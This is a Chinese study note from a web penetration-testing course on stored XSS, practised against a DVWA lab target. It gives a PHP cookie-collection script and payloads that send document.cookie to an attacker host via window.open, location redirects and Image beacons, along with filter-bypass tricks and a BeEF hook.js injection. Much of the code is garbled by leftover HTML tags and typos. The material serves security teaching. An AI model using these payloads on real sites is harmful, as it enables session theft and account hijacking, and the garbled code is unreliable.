XSS 跨站脚本攻击_3 | 学习笔记

简介: 快速学习 XSS 跨站脚本攻击_3

开发者学堂课程【网络安全攻防 - Web渗透测试XSS 跨站脚本攻击_3】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/630/detail/9913


XSS 跨站脚本攻击_2


内容介绍

一、  存储型 XSS

二、  构造 XSS 脚本

三、  自动化 XSS


一、  存储型 XSS

存储型 XSS(持久型 XSS)即攻击者将带有 XSS 攻击的链接放在网页的某个页面,例如评论框等;用户访问此 XSS 链接并执行,由于存储型 XS5 能够攻击所有访问此页面的用户,所以危害非常

image.png

1.  手工【低】

1)  攻击1 弹框告警:渗透机 kali Linux 端操作

text1

alert(‘<span>yangge')

2)  攻击2 获取 cookie:渗透机 Kali Linux 端操作

a)  构建收集 cookie 服务器

b)  构造 XSS 代码并植入到 Web 服务器

c)  等待肉鸡触发 XSS 代码并将 cookie 发送到 Kali

d)  Cookie 利用

image.png

3) root@kali:~#[vim /var/www/html/cookie_rec.php

$cookie = $_GET['cookie'];

$log一fopen(cookie.txt","a")

fwrite($log, $cookle "\n");

fclose($log);

?>

root@kali:# chown -R www-data.www-data /var/www/

2. 通过渗透机植入 XSS 代码:  

(script>window.open('http://192.168.106

14d/cookierec.php?cookle-"+document.cookle)

注:192.168.106.140 为 kali Linux IP

注:先清除之前植入的 XS5代码

image.png


二、构造 XSS 脚本

1. 弹框警告

此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似 SQL 注入漏洞测试中的单引号‘,一旦此新本能执行,也就拿味着后端服务器没有对特殊字符做过滤<>/”这样就可以证明,这个页面位置存在了XSS漏洞。

alert('xss')

alert(document.cookie)

2. 页面嵌套

3. 页面重定向

window.location="http://www.qfedu.com"

location.href="http://www.baidu.com"

4. 弹框警告并重定向  

alert("请移步到我们的新站”);location.hre</span></code></div><div><code><span class="lake-fontsize-1515">/www.qfedu.com"

alert('xss');location.href="http://1e 35/mutillidae/robots.txt"

这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户 (克隆网站收集账户)

5. 访问恶意代码

s/script></span></code><span class="lake-fontsize-1515"> #结合 BeEF 收集用户的 cookie</span></div><div><strong><span class="lake-fontsize-1515">6. 巧用图片标签</span></strong></div><div><code><span class="lake-fontsize-1515">< img src="#”onerror=alert('xss')></span></code></div><div><code><span class="lake-fontsize-1515"><ing src="javascript:alert('xss');"></span></code></div><div><code><span class="lake-fontsize-1515">< img src="http://BeEF_IP:3000/hook.js"></img></span></code></div><div><strong><span class="lake-fontsize-1515">7. 绕开过滤的脚本</span></strong></div><div><span class="lake-fontsize-1515">大小写 <ScrIpt>alert('xss')

字符编码 采用 URL、Base64等编码

href=”¦ava8#115cr8#105pt:a8#108Ϻ#114;8#1168#40;"xss");">yangge

8. 收集用户 cookie

打开新窗口并且采用本地 cookie 访问目标网页,打开新窗口并且采用本地 cookie 访问目标网页。

window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie

new Image().src="http://www.hacker.com/cookie.php?cookie-"+document.cookie;

new Image().src="http://www.hacker.com/cookie.php?cookie=adocument ing.width = 0;</span></code></div><div><code><span class="lake-fontsize-1515">img.height =0;</span></code></div><div><code><span class="lake-fontsize-1515">


三、自动化 XSS

1. Browser Exploitation Framework (BeEF)

BeEF 是目前最强大的浏览器开源渗透测试框架,通过 XSS 漏洞配合 JS 脚本和 Metasploit 进行渗透;

BeEF 是基于 Ruby 语言编写的,并且支持图形化界面,操作简单;

http://beefproject.com/

1)信息收集:

1.网络发现

2.主机信息

3. Cookie 获取

4.会话劫持

5.键盘记录

6.插件信息

2)持久化控制:

1. 确认弹框

2. 小窗口

3.中间人

3)社会工程

1. 点击劫持

2. 弹窗告警

3. 虚假页面

4. 钓鱼页面

4)渗透攻击:

1.内网渗透

2. Metasploit

3.CSRF 攻击

4. DDOS 攻击

2.BeEF 基础

1)启动 Apache 和 BeEF:

root@kali:~# service apache2 start

</span></code></div><div><span class="lake-fontsize-1515" style="color: #000000;">注:192.168.106.140为 BeEF 所在机器,即 Kali Linux IP</span></div><div><span class="lake-fontsize-1515" style="color: #000000;">2)登录 BeEF:</span></div><div><code><span class="lake-fontsize-1515" style="color: #000000;">username:beef</span></code></div><div><code><span class="lake-fontsize-1515" style="color: #000000;">password:beef</span></code></div><div><span class="lake-fontsize-1515" style="color: #000000;"><span data-card-type="inline" data-ready-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fucc.alicdn.com%2Fpic%2Fdeveloper-ecology%2F220bc2516ced40a9bac2902073c657d2.png%22%2C%22originWidth%22%3A865%2C%22originHeight%22%3A502%2C%22name%22%3A%22image.png%22%2C%22size%22%3A532725%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A865%2C%22height%22%3A502%7D"></span></span></div><div><span class="lake-fontsize-1515">渗透机将脚本放在 <span>DWVA </span>靶机中:</span></div><div><code><span class="lake-fontsize-1515"><script src="http://192.168.106.140:3000/hook.js">x/scr</span></code></div><div><span class="lake-fontsize-1515">注:<span>192.168.106.140</span>为 <span>BeEF </span>所在机器,即 <span>Kali Linux,IP</span></span></div><div><span class="lake-fontsize-1515">注:需修改字符数的限制,例如为<span>200</span></span></div><div><span class="lake-fontsize-1515"><span>1.  </span></span><span class="lake-fontsize-1515">信息收集</span></div><div><span class="lake-fontsize-1515">命令颜色<span>(Color)</span>:</span></div><div><span class="lake-fontsize-1515">绿色对目标主机生效并且不可见<span>(</span>不会被发现<span>)</span></span></div><div><span class="lake-fontsize-1515">橙色对目标主机生效但可能可见<span>(</span>可能被发现<span>)</span></span></div><div><span class="lake-fontsize-1515">灰色对目标主机未必生效<span>(</span>可验证下<span>)</span></span></div><div><span class="lake-fontsize-1515">红色对目标主机不生效</span></div><div><span class="lake-fontsize-1515">Get Cookie  </span><span class="lake-fontsize-1515">获取信息</span></div><div><span class="lake-fontsize-1515">Get From Cookie  </span><span class="lake-fontsize-1515">获取值</span></div><div><span class="lake-fontsize-1515">Get Page HREFs  </span><span class="lake-fontsize-1515">获取页面链接</span></div><div><span class="lake-fontsize-1515">Get Page HTML  </span><span class="lake-fontsize-1515">获取页面 <span>HTML</span></span></div><div><span class="lake-fontsize-1515">Replace HREFs  替换页面连接</span></div><div><span class="lake-fontsize-1515">Replace HREFs</span><span class="lake-fontsize-1515">(<span>Click Events</span>)</span></div><div><span class="lake-fontsize-1515">该模块将使用 <span>Bilawal Hameed </span>更新点击事件处理来重写所有匹配链接的所有 <span>href </span>属性,这将隐藏所有更新链接的目标站点。</span></div><div><span class="lake-fontsize-1515">Replace HREFs</span><span class="lake-fontsize-1515">(<span>HTTPS</span>)</span></div><div><span class="lake-fontsize-1515">此模块将重写<span>HTTPS</span>链接的所有<span>href</span>属性以使用 <span>HTTPS</span>,不会重写相对于 <span>web </span>根目录的链接。</span></div><div><span class="lake-fontsize-1515">Replace HREFs</span><span class="lake-fontsize-1515">(<span>TEL</span>)</span></div><div><span class="lake-fontsize-1515">该模块重写<span>HTTPS</span>链接的所有电话链接的 <span>href </span>属性。</span></div>

相关文章
|
存储 Web App开发 安全
mitmproxy安装与配置
mitmproxy是一个免费的开源交互式的HTTPS代理工具。它类似于其他抓包工具如WireShark和Fiddler,支持抓取HTTP和HTTPS协议的数据包,并可以通过控制台形式进行操作。mitmproxy具有两个非常有用的组件:mitmdump和mitmweb。mitmdump是mitmproxy的命令行接口,可以直接抓取请求数据,而mitmweb是一个web程序,可以清楚地观察mitmproxy抓取的请求数据。
1113 3
mitmproxy安装与配置
|
2月前
|
SQL 监控 关系型数据库
【紧急救援】MySQL CPU 100%!一套组合拳教你快速定位并解决!
凌晨三点MySQL CPU飙至100%,业务瘫痪!本文亲历30分钟应急排障全过程:从紧急止血、定位慢查询、分析锁争用,到优化SQL与索引,最终恢复服务。总结一套可复用的排查路径与预防方案,助你告别深夜救火。
|
Web App开发 安全 CDN
WebRTC溯源的几个实战利用场景
WebRTC溯源的几个实战利用场景
593 0
|
JSON 供应链 数据挖掘
抖音商品sku数据接口(Dy.item_sku)丨抖音平台API数据接口指南
抖音商品详情SKU数据接口(Dy.item_sku)由抖音开放平台提供,用于获取商品详细信息,包括名称、价格、图片等。开发者需注册并获取权限,遵循API限制,通过商品ID调用接口,解析JSON格式返回数据。该接口广泛应用于商品展示、库存管理、订单处理及数据分析,助力提升工作效率和用户体验。使用时需遵守平台规则,确保数据安全。
1522 3
|
弹性计算 网络安全
阿里云服务器更换公网IP地址教程(两种情况)
阿里云服务器可以更换公网IP地址,有两种情况,云服务器创建6小时内可以免费更换公网IP地址,超过6小时后可以通过绑定弹性公网EIP的方式来更换IP地址
11749 0
阿里云服务器更换公网IP地址教程(两种情况)
|
小程序 JavaScript 程序员
小程序新方法 open-type获取头像昵称
小程序新方法 open-type获取头像昵称
474 0
|
弹性计算 网络安全
阿里云服务器更换公网IP地址教程
阿里云服务器更换公网IP地址教程
773 0
|
域名解析 Web App开发 缓存
教懂你什么是 “ 流量劫持 ”
还在等什么,快来一起讨论关注吧,公众号【八点半技术站】,欢迎加入社群
教懂你什么是 “ 流量劫持 ”
|
网络协议 数据安全/隐私保护
|
存储 SQL 安全
XSS 跨站脚本攻击_3 | 学习笔记
快速学习 XSS 跨站脚本攻击_3
165 0
XSS 跨站脚本攻击_3 | 学习笔记